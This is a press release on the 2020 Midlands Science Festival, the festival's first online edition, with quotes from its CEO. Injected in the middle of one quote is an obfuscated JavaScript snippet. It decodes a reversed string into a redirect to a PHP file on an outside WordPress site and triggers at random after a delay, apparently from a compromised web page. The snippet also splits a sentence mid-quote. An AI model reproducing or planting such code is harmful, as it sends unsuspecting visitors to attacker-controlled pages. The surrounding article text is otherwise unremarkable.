Digital Midlands Science Festival 2020 a Great Success
For the first time since it was founded eight years ago, the Midlands Science Festival was last week hosted online as an immersive digital event as part of national Science Week. The core theme for Science Week 2020 which is now in its 25th year was ‘Science Week – Choosing our Future’ and this focused on how science can improve our lives in the future and in the present. This year’s jam-packed festival enabled schools, teachers, parents and people of all ages to get involved virtually and thousands of people had the opportunity to enjoy engaging talks, interactive workshops and presentations in a whole new and innovative format.
CEO of Midlands Science, Jackie Gorman said,
‘Our first ever virtual festival was a great success and we were delighted through support from Science Foundation Ireland, Rethink Ireland, our wonderful event providers and a number of key partnerships to bring a large number of exciting science events to the Midlands again this year, in spite of the current pandemic. We explored everything from marine life and climate action to the science of Star Wars, from astrology and reptiles to ice cream making and lessons in sustainability. Science can help us understand what is happening and also provide us with the information to make different choices and pursue solutions in the future. This is now more important than ever. We also have made available online the DR Mindflip Ultimate Learning Experience as a game on the indie gaming site Itch and ran a number of short videos during the week with children exploring science in Irish. People of all ages had the opportunity to join us from their homes to have a close-up lesson about a whole variety of different topics, all with a science twist.’
Science Week is a wonderful opportunity for small science enthusiasts and their families to see what’s new and innovative in the world of science and technology. It is also the perfect chance for someone who is just tipping their toe in to science for the first time to participate in activities and live performances by science explorers, communica tors and experts whose mission it is to educate, entertain, inform and inspire.
‘The festival is a fantastic way to really capture the imagination and show people that science can be fun. We would like to thank the many people involved this year for all their support, diligence and help in managing the delivery of this week-long event to so many people in the Midlands and beyond. As a team, we decided earlier this year to host Science Week in a virtual manner and this took a lot of additional time, training and co-operation from providers and schools. This online model was a very different way of $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doing things but it allowed us to continue to raise awareness and extend people’s real-world understanding of science during such a challenging time.’
In a period of increasing unease, the Midlands Science team strongly believe that it is more important than ever to continue to provide activities to continue to engage our young people, build optimism and help them to explore science and how it relates to everything in our day to day lives.
Jackie Gorman continued,
‘The Midlands Science Festival celebrated science in the Midlands in a number of different ways this year. Other key highlights included an inspiring journey in to Space with Dr. Niamh Shaw, informative public talks on the ‘Science of Resilience’ and the ‘Science of Skin’ and a range of high-level, virtual career talks for secondary schools with some of our industry and academic partners, which we hope will encourage more and more students to consider science as a future course and career option. This year also included an online exploration in to Viking Heritage with the National Museum of Ireland and Westmeath Heritage and a unique, interactive British Council Ireland event where we baked our way to space. I wish to thank Science Foundation Ireland, all of our partners, speakers, performers, the local media and school venues for making this all possible.’
